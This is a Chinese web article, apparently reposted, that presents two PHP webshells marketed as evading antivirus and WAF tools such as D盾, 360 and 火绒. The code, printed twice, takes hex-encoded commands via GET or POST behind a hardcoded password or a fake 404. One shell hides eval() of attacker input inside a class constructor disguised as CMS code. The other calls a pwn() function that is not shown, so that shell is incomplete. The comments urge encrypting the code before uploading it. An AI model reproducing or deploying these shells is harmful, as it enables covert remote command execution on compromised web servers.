分析PHP7.0版本“金牌马儿”
时间:2023年05月25日
/来源:网络
/编辑:佚名
PHP7.0版本“金牌马儿”(免杀,过D盾,360,火绒等所有的工具),这个马儿之所以能跑,是因为用了PHP7.0的溢出漏洞,大家熟知的缓冲区溢出呀或者什么栈溢出。
就是因为有这个溢出,所以即过了免杀还不用担心执行系统命令函数的问题。
<?php
//仅支持php7.0 里面没有用到php系统函数,order参数可以执行系统命令,暂时只测试过linux //过宝塔、D盾、360、火绒,免杀原理自己看源码,上传时请先将源码加密,请勿外传!
function hexToStr($hex) { //16进制转字符串,敏感字符过防火墙
$str = "";
for ($i = 0;$i < strlen($hex) - 1;$i+= 2)
$str.= chr(hexdec($hex[$i] . $hex[$i + 1]));
return $str; }
$password = $_GET['password'];
$order = $_GET['order']; //因为测试方便,所以用的GET,如果变量过长,用POST
if($password != 'password')//密码比对,如果密码错误就返回404(区分大小写)
{
header('HTTP/1.1 404 Not Found');
header("status: 404 Not Found");
exit();
}
$order = hexToStr($order);
pwn($order);
这个代码隐藏的好深
<?php
class _{
static public $phpcms=Null;
function __construct($l="error"){
self::$phpcms=$l;
@eval/*Defining error level offences*/(null.null.self::$phpcms);
}}
//16进制转字符串,hexdec()函数把十六进制转换为十进制。而chr()函数可以将十进制的ASCII转换为字符。
function hexToStr($hex){
$str="";
for($i=0;$i<strlen($hex)-1;$i+=2)
$str.=chr(hexdec($hex[$i].$hex[$i+1]));
return $str;
}
$error = null.hexToStr(@$_POST/**/["123"]);
$d = new _($error);
if(!defined('InEmpireCMS'))
{
exit();
}
?>
就是因为有这个溢出,所以即过了免杀还不用担心执行系统命令函数的问题。
<?php
//仅支持php7.0 里面没有用到php系统函数,order参数可以执行系统命令,暂时只测试过linux //过宝塔、D盾、360、火绒,免杀原理自己看源码,上传时请先将源码加密,请勿外传!
function hexToStr($hex) { //16进制转字符串,敏感字符过防火墙
$str = "";
for ($i = 0;$i < strlen($hex) - 1;$i+= 2)
$str.= chr(hexdec($hex[$i] . $hex[$i + 1]));
return $str; }
$password = $_GET['password'];
$order = $_GET['order']; //因为测试方便,所以用的GET,如果变量过长,用POST
if($password != 'password')//密码比对,如果密码错误就返回404(区分大小写)
{
header('HTTP/1.1 404 Not Found');
header("status: 404 Not Found");
exit();
}
$order = hexToStr($order);
pwn($order);
这个代码隐藏的好深
<?php
class _{
static public $phpcms=Null;
function __construct($l="error"){
self::$phpcms=$l;
@eval/*Defining error level offences*/(null.null.self::$phpcms);
}}
//16进制转字符串,hexdec()函数把十六进制转换为十进制。而chr()函数可以将十进制的ASCII转换为字符。
function hexToStr($hex){
$str="";
for($i=0;$i<strlen($hex)-1;$i+=2)
$str.=chr(hexdec($hex[$i].$hex[$i+1]));
return $str;
}
$error = null.hexToStr(@$_POST/**/["123"]);
$d = new _($error);
if(!defined('InEmpireCMS'))
{
exit();
}
?>
新闻资讯 更多
- 【建站知识】查询nginx日志状态码大于400的请求并打印整行04-03
- 【建站知识】Python中的logger和handler到底是个什么?04-03
- 【建站知识】python3拉勾网爬虫之(您操作太频繁,请稍后访问)04-03
- 【建站知识】xpath 获取meta里的keywords及description的方法04-03
- 【建站知识】python向上取整以50为界04-03
- 【建站知识】scrapy xpath遇见乱码解决04-03
- 【建站知识】scrapy爬取后中文乱码,解决word转为html 时cp1252编码问题04-03
- 【建站知识】scrapy采集—爬取中文乱码,gb2312转为utf-804-03